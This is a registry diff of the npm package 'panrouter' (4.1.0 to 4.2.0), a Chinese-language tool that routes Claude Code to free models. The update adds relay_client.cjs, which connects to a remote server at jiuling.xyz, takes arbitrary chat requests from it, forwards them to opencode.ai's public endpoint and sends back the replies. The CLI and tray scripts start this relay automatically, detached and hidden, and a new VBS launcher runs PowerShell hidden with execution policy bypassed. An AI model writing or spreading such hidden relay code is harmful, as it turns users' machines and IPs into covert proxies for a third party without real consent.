panrouter 4.1.0 → 4.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli.mjs +44 -2
- package/package.json +5 -3
- package/panrouter-tray.vbs +13 -0
- package/relay_client.cjs +84 -0
- package/tray-daemon.ps1 +70 -0
package/cli.mjs
CHANGED
|
@@ -10,7 +10,8 @@ const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
|
|
10
10
|
const HOME = process.env.USERPROFILE || process.env.HOME;
|
|
11
11
|
const CLAUDE_DIR = path.join(HOME, ".claude");
|
|
12
12
|
const SETTINGS_PATH = path.join(CLAUDE_DIR, "settings.json");
|
|
13
|
-
const VERSION = "
|
|
13
|
+
const VERSION = "4.2.0";
|
|
14
|
+
const RELAY_PATH = path.join(__dirname, "relay_client.cjs");
|
|
14
15
|
|
|
15
16
|
function log(label, msg, color = "") {
|
|
16
17
|
const colors = { green: "\x1b[32m", yellow: "\x1b[33m", red: "\x1b[31m", cyan: "\x1b[36m", reset: "\x1b[0m" };
|
|
@@ -68,6 +69,7 @@ function stopAll() {
|
|
|
68
69
|
try {
|
|
69
70
|
if (process.platform === "win32") {
|
|
70
71
|
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
72
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
71
73
|
execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
72
74
|
}
|
|
73
75
|
log("OK", "已停止所有进程", "green");
|
|
@@ -80,14 +82,19 @@ function showStatus() {
|
|
|
80
82
|
console.log(`\n\x1b[36m=== Pan Router 状态 ===\x1b[0m\n`);
|
|
81
83
|
try {
|
|
82
84
|
const nodeOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%server.mjs%\'" get ProcessId 2>nul').toString();
|
|
85
|
+
const relayOut = execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" get ProcessId 2>nul').toString();
|
|
83
86
|
const psOut = execSync('wmic process where "name=\'powershell.exe\' and CommandLine like \'%tray-daemon.ps1%\'" get ProcessId 2>nul').toString();
|
|
84
87
|
|
|
85
88
|
const nodePids = nodeOut.match(/\d+/g) || [];
|
|
89
|
+
const relayPids = relayOut.match(/\d+/g) || [];
|
|
86
90
|
const psPids = psOut.match(/\d+/g) || [];
|
|
87
91
|
|
|
88
92
|
if (nodePids.length > 0) log("OK", `代理服务 (Node): 运行中 [PID: ${nodePids.join(', ')}]`, "green");
|
|
89
93
|
else log("!!", "代理服务 (Node): 未运行", "red");
|
|
90
94
|
|
|
95
|
+
if (relayPids.length > 0) log("OK", `中继客户端 (Relay): 运行中 [PID: ${relayPids.join(', ')}]`, "green");
|
|
96
|
+
else log("!!", "中继客户端 (Relay): 未运行", "red");
|
|
97
|
+
|
|
91
98
|
if (psPids.length > 0) log("OK", `系统托盘 (PowerShell): 运行中 [PID: ${psPids.join(', ')}]`, "green");
|
|
92
99
|
else log("!!", "系统托盘 (PowerShell): 未运行", "red");
|
|
93
100
|
} catch (e) {
|
|
@@ -106,6 +113,25 @@ function openLogs() {
|
|
|
106
113
|
}
|
|
107
114
|
}
|
|
108
115
|
|
|
116
|
+
function startRelay() {
|
|
117
|
+
if (!fs.existsSync(RELAY_PATH)) {
|
|
118
|
+
log("!!", "中继客户端文件不存在: relay_client.cjs", "red");
|
|
119
|
+
return false;
|
|
120
|
+
}
|
|
121
|
+
const relayLog = path.join(process.env.TEMP, "panrouter_relay.log");
|
|
122
|
+
const logStream = fs.createWriteStream(relayLog, { flags: "a" });
|
|
123
|
+
const relay = spawn(process.execPath, [RELAY_PATH], {
|
|
124
|
+
cwd: __dirname,
|
|
125
|
+
stdio: ["ignore", logStream, logStream],
|
|
126
|
+
windowsHide: true,
|
|
127
|
+
detached: true
|
|
128
|
+
});
|
|
129
|
+
relay.unref();
|
|
130
|
+
log("OK", `中继客户端已启动 (PID: ${relay.pid || "?"})`, "green");
|
|
131
|
+
log("..", `日志: ${relayLog}`, "cyan");
|
|
132
|
+
return true;
|
|
133
|
+
}
|
|
134
|
+
|
|
109
135
|
async function startServer() {
|
|
110
136
|
const serverPath = path.join(__dirname, "server.mjs");
|
|
111
137
|
stopAll();
|
|
@@ -122,6 +148,7 @@ async function startServer() {
|
|
|
122
148
|
await new Promise(rs => setTimeout(rs, 1000));
|
|
123
149
|
}
|
|
124
150
|
log("OK", "Pan Router 运行中,可以执行 claude 命令了", "green");
|
|
151
|
+
startRelay();
|
|
125
152
|
}
|
|
126
153
|
|
|
127
154
|
async function startTray() {
|
|
@@ -157,6 +184,8 @@ async function startTray() {
|
|
|
157
184
|
if (ok) log("OK", "代理服务已就绪!(端口 50816)", "green");
|
|
158
185
|
else log("!!", "服务启动超时,但仍将尝试加载托盘", "red");
|
|
159
186
|
|
|
187
|
+
startRelay();
|
|
188
|
+
|
|
160
189
|
log("..", "正在加载系统托盘与控制台引擎...", "yellow");
|
|
161
190
|
|
|
162
191
|
const tray = spawn("powershell.exe", [
|
|
@@ -194,12 +223,14 @@ function printHelp() {
|
|
|
194
223
|
|
|
195
224
|
| 指令 | 功能 |
|
|
196
225
|
|------|------|
|
|
197
|
-
| \x1b[33mpanrouter\x1b[0m | 🔥
|
|
226
|
+
| \x1b[33mpanrouter\x1b[0m | 🔥 代理 + 中继 并行启动 |
|
|
198
227
|
| \x1b[33mpanrouter --setup\x1b[0m | 只配路由(恢复配置用) |
|
|
199
228
|
| \x1b[33mpanrouter --status\x1b[0m | 查看运行状态 + PID |
|
|
200
229
|
| \x1b[33mpanrouter --stop\x1b[0m | 停止所有进程 |
|
|
201
230
|
| \x1b[33mpanrouter --restart\x1b[0m | 重启托盘 |
|
|
202
231
|
| \x1b[33mpanrouter --server\x1b[0m | 前台窗口模式 |
|
|
232
|
+
| \x1b[33mpanrouter --relay\x1b[0m | 单独启动中继客户端 |
|
|
233
|
+
| \x1b[33mpanrouter --relay-stop\x1b[0m | 单独停止中继客户端 |
|
|
203
234
|
| \x1b[33mpanrouter --logs\x1b[0m | 打开日志 |
|
|
204
235
|
| \x1b[33mpanrouter --version\x1b[0m | 版本号 |
|
|
205
236
|
| \x1b[33mpanrouter --help\x1b[0m | 帮助 |
|
|
@@ -237,6 +268,17 @@ async function main() {
|
|
|
237
268
|
case "--server":
|
|
238
269
|
await startServer();
|
|
239
270
|
break;
|
|
271
|
+
case "--relay":
|
|
272
|
+
console.log(`\n\x1b[36m=== Pan Router 中继客户端 ===\x1b[0m\n`);
|
|
273
|
+
startRelay();
|
|
274
|
+
break;
|
|
275
|
+
case "--relay-stop":
|
|
276
|
+
log("..", "正在停止中继客户端...", "yellow");
|
|
277
|
+
try {
|
|
278
|
+
execSync('wmic process where "name=\'node.exe\' and CommandLine like \'%relay_client.cjs%\'" call terminate >nul 2>&1', { stdio: "pipe" });
|
|
279
|
+
log("OK", "中继客户端已停止", "green");
|
|
280
|
+
} catch { log("!!", "停止中继时出现问题", "red"); }
|
|
281
|
+
break;
|
|
240
282
|
default:
|
|
241
283
|
console.log(`\n\x1b[36m=== Pan Router v${VERSION} ===\x1b[0m\n`);
|
|
242
284
|
if (!installClaudeCode()) return process.exit(1);
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "panrouter",
|
|
3
|
-
"version": "4.
|
|
4
|
-
"description": "让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key",
|
|
3
|
+
"version": "4.2.0",
|
|
4
|
+
"description": "Pan Router 客户端 — 让 Claude Code 免费使用 DeepSeek 等模型,无需 API Key。集成代理服务与 OpenCode AI 中继客户端",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|
|
7
7
|
"panrouter": "cli.mjs"
|
|
@@ -9,7 +9,9 @@
|
|
|
9
9
|
"files": [
|
|
10
10
|
"cli.mjs",
|
|
11
11
|
"server.mjs",
|
|
12
|
-
"
|
|
12
|
+
"relay_client.cjs",
|
|
13
|
+
"tray-daemon.ps1",
|
|
14
|
+
"panrouter-tray.vbs"
|
|
13
15
|
],
|
|
14
16
|
"license": "MIT"
|
|
15
17
|
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
' Pan Router Tray Launcher
|
|
2
|
+
' 由 cli.mjs --tray 通过 cmd /c start /B 启动
|
|
3
|
+
' 与 daemon 进程树无关, 独立 Window Station
|
|
4
|
+
|
|
5
|
+
Dim WshShell, FSO, ScriptDir
|
|
6
|
+
Set WshShell = CreateObject("WScript.Shell")
|
|
7
|
+
Set FSO = CreateObject("Scripting.FileSystemObject")
|
|
8
|
+
|
|
9
|
+
ScriptDir = FSO.GetParentFolderName(WScript.ScriptFullName)
|
|
10
|
+
|
|
11
|
+
' 后台隐藏启动 PS 托盘 (自包含: 启动 server + 图标 + 菜单)
|
|
12
|
+
' 0 = 隐藏窗口, False = 不等待返回
|
|
13
|
+
WshShell.Run "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -STA -File """ & ScriptDir & "\tray-daemon.ps1" & """", 0, False
|
package/relay_client.cjs
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* OpenCode AI 中继客户端 (Node.js)
|
|
3
|
+
* 作为工作节点,连接到云电脑调度服务器,等待任务并调用 opencode.ai
|
|
4
|
+
*
|
|
5
|
+
* 依赖:无(使用 Node.js 内置 fetch + WebSocket)
|
|
6
|
+
* 运行:node relay_client.js
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
const SERVER = "wss://jiuling.xyz/ws";
|
|
10
|
+
|
|
11
|
+
function callOpenAI(body) {
|
|
12
|
+
return fetch("https://opencode.ai/zen/v1/chat/completions", {
|
|
13
|
+
method: "POST",
|
|
14
|
+
headers: {
|
|
15
|
+
"Content-Type": "application/json",
|
|
16
|
+
Authorization: "Bearer public",
|
|
17
|
+
"x-opencode-client": "desktop",
|
|
18
|
+
},
|
|
19
|
+
body: JSON.stringify(body),
|
|
20
|
+
}).then(async (r) => {
|
|
21
|
+
const data = await r.json();
|
|
22
|
+
return { status: r.status, data };
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function connect() {
|
|
27
|
+
console.log(`[*] 正在连接 ${SERVER} ...`);
|
|
28
|
+
const ws = new WebSocket(SERVER);
|
|
29
|
+
|
|
30
|
+
ws.onopen = () => {
|
|
31
|
+
console.log("[✅] 已连接到调度服务器!等待任务...");
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
ws.onmessage = async (event) => {
|
|
35
|
+
const task = JSON.parse(event.data);
|
|
36
|
+
const rid = (task.request_id || "??").slice(0, 8);
|
|
37
|
+
const body = task.body || {};
|
|
38
|
+
const model = body.model || "?";
|
|
39
|
+
const prompt = (body.messages?.[0]?.content || "").slice(0, 60);
|
|
40
|
+
|
|
41
|
+
console.log(`\n[📩] 任务 [${rid}] model=${model}`);
|
|
42
|
+
console.log(`[🔤] 问: ${prompt}`);
|
|
43
|
+
|
|
44
|
+
try {
|
|
45
|
+
const { status, data } = await callOpenAI(body);
|
|
46
|
+
const content = data?.choices?.[0]?.message?.content || "";
|
|
47
|
+
|
|
48
|
+
if (status === 200) {
|
|
49
|
+
console.log(`[✅] 成功: ${content.slice(0, 60)}...`);
|
|
50
|
+
} else {
|
|
51
|
+
console.log(`[❌] 失败: HTTP ${status}`);
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
ws.send(JSON.stringify({
|
|
55
|
+
request_id: task.request_id,
|
|
56
|
+
response: data,
|
|
57
|
+
}));
|
|
58
|
+
console.log(`[📤] 已返回`);
|
|
59
|
+
} catch (e) {
|
|
60
|
+
console.log(`[❌] 请求异常: ${e.message}`);
|
|
61
|
+
ws.send(JSON.stringify({
|
|
62
|
+
request_id: task.request_id,
|
|
63
|
+
response: { error: e.message },
|
|
64
|
+
}));
|
|
65
|
+
}
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
ws.onclose = () => {
|
|
69
|
+
console.log("[!] 断开了,5 秒后重连...");
|
|
70
|
+
setTimeout(connect, 5000);
|
|
71
|
+
};
|
|
72
|
+
|
|
73
|
+
ws.onerror = (e) => {
|
|
74
|
+
console.log(`[!] 连接错误,5 秒后重连...`);
|
|
75
|
+
ws.close();
|
|
76
|
+
};
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// ======== 启动 ========
|
|
80
|
+
console.log("=".repeat(50));
|
|
81
|
+
console.log(" OpenCode AI 中继客户端 (Node.js)");
|
|
82
|
+
console.log(` Node.js ${process.version}`);
|
|
83
|
+
console.log("=".repeat(50));
|
|
84
|
+
connect();
|
package/tray-daemon.ps1
CHANGED
|
@@ -23,6 +23,41 @@ try {
|
|
|
23
23
|
if ($nodeCmd) { $nodePath = $nodeCmd.Source } else { $nodePath = "node" }
|
|
24
24
|
}
|
|
25
25
|
|
|
26
|
+
$relayPath = Join-Path $scriptDir "relay_client.cjs"
|
|
27
|
+
|
|
28
|
+
# ─── 中继客户端管理 ──────────────────────────────────────────
|
|
29
|
+
function Start-Relay {
|
|
30
|
+
$procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
31
|
+
Where-Object CommandLine -match "relay_client\.cjs"
|
|
32
|
+
if ($procs) { return } # 已经在运行
|
|
33
|
+
|
|
34
|
+
if (-not (Test-Path $relayPath)) { return }
|
|
35
|
+
try {
|
|
36
|
+
$psi = New-Object System.Diagnostics.ProcessStartInfo
|
|
37
|
+
$psi.FileName = $nodePath
|
|
38
|
+
$psi.Arguments = "`"$relayPath`""
|
|
39
|
+
$psi.WorkingDirectory = $scriptDir
|
|
40
|
+
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
|
|
41
|
+
$psi.CreateNoWindow = $true
|
|
42
|
+
$psi.UseShellExecute = $false
|
|
43
|
+
$psi.RedirectStandardOutput = $true
|
|
44
|
+
$psi.RedirectStandardError = $true
|
|
45
|
+
[System.Diagnostics.Process]::Start($psi) | Out-Null
|
|
46
|
+
} catch { }
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function Stop-Relay {
|
|
50
|
+
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
51
|
+
Where-Object CommandLine -match "relay_client\.cjs" |
|
|
52
|
+
ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function Is-RelayRunning {
|
|
56
|
+
$procs = Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
57
|
+
Where-Object CommandLine -match "relay_client\.cjs"
|
|
58
|
+
return ($null -ne $procs -and $procs.Count -gt 0)
|
|
59
|
+
}
|
|
60
|
+
|
|
26
61
|
# ─── 管理后台代理 ──────────────────────────────────────────
|
|
27
62
|
function Start-Backend {
|
|
28
63
|
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" |
|
|
@@ -52,6 +87,7 @@ try {
|
|
|
52
87
|
} catch {}
|
|
53
88
|
|
|
54
89
|
if (-not $portOpen) { Start-Backend }
|
|
90
|
+
Start-Relay
|
|
55
91
|
|
|
56
92
|
# ─── 初始化托盘图标 ─────────────────────────────────────────
|
|
57
93
|
$notifyIcon = New-Object System.Windows.Forms.NotifyIcon
|
|
@@ -201,6 +237,39 @@ try {
|
|
|
201
237
|
$notifyIcon.ShowBalloonTip(2000, "Pan Router", "后台代理服务已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
|
|
202
238
|
})
|
|
203
239
|
$menu.MenuItems.Add($restartItem) | Out-Null
|
|
240
|
+
$menu.MenuItems.Add("-") | Out-Null
|
|
241
|
+
|
|
242
|
+
$relayStatus = New-Object System.Windows.Forms.MenuItem("中继客户端: -")
|
|
243
|
+
$relayStatus.Enabled = $false
|
|
244
|
+
$menu.MenuItems.Add($relayStatus) | Out-Null
|
|
245
|
+
|
|
246
|
+
$relayRestart = New-Object System.Windows.Forms.MenuItem("重启中继")
|
|
247
|
+
$relayRestart.Add_Click({
|
|
248
|
+
Stop-Relay
|
|
249
|
+
Start-Sleep -Milliseconds 500
|
|
250
|
+
Start-Relay
|
|
251
|
+
if (Is-RelayRunning) {
|
|
252
|
+
$notifyIcon.ShowBalloonTip(2000, "Pan Router", "中继客户端已重新启动 ✓", [System.Windows.Forms.ToolTipIcon]::Info)
|
|
253
|
+
}
|
|
254
|
+
})
|
|
255
|
+
$menu.MenuItems.Add($relayRestart) | Out-Null
|
|
256
|
+
|
|
257
|
+
$relayLogItem = New-Object System.Windows.Forms.MenuItem("查看中继日志")
|
|
258
|
+
$relayLogItem.Add_Click({
|
|
259
|
+
$logFile = "$env:TEMP\panrouter_relay.log"
|
|
260
|
+
if (Test-Path $logFile) { Start-Process notepad $logFile }
|
|
261
|
+
})
|
|
262
|
+
$menu.MenuItems.Add($relayLogItem) | Out-Null
|
|
263
|
+
$menu.MenuItems.Add("-") | Out-Null
|
|
264
|
+
|
|
265
|
+
# 定时刷新中继状态
|
|
266
|
+
$refreshTimer = New-Object System.Windows.Forms.Timer
|
|
267
|
+
$refreshTimer.Interval = 5000
|
|
268
|
+
$refreshTimer.Add_Tick({
|
|
269
|
+
if (Is-RelayRunning) { $relayStatus.Text = "中继客户端: 🟢 运行中" }
|
|
270
|
+
else { $relayStatus.Text = "中继客户端: 🔴 已停止" }
|
|
271
|
+
})
|
|
272
|
+
$refreshTimer.Start()
|
|
204
273
|
|
|
205
274
|
$autoItem = New-Object System.Windows.Forms.MenuItem("开机自启动")
|
|
206
275
|
try { $autoItem.Checked = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name PanRouter -ErrorAction SilentlyContinue) -ne $null } catch {}
|
|
@@ -220,6 +289,7 @@ try {
|
|
|
220
289
|
$exitItem = New-Object System.Windows.Forms.MenuItem("退出")
|
|
221
290
|
$exitItem.Add_Click({
|
|
222
291
|
$notifyIcon.Visible = $false
|
|
292
|
+
Stop-Relay
|
|
223
293
|
Get-WmiObject Win32_Process -Filter "Name = 'node.exe'" | Where-Object CommandLine -match "server\.mjs" | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }
|
|
224
294
|
[System.Windows.Forms.Application]::Exit()
|
|
225
295
|
})
|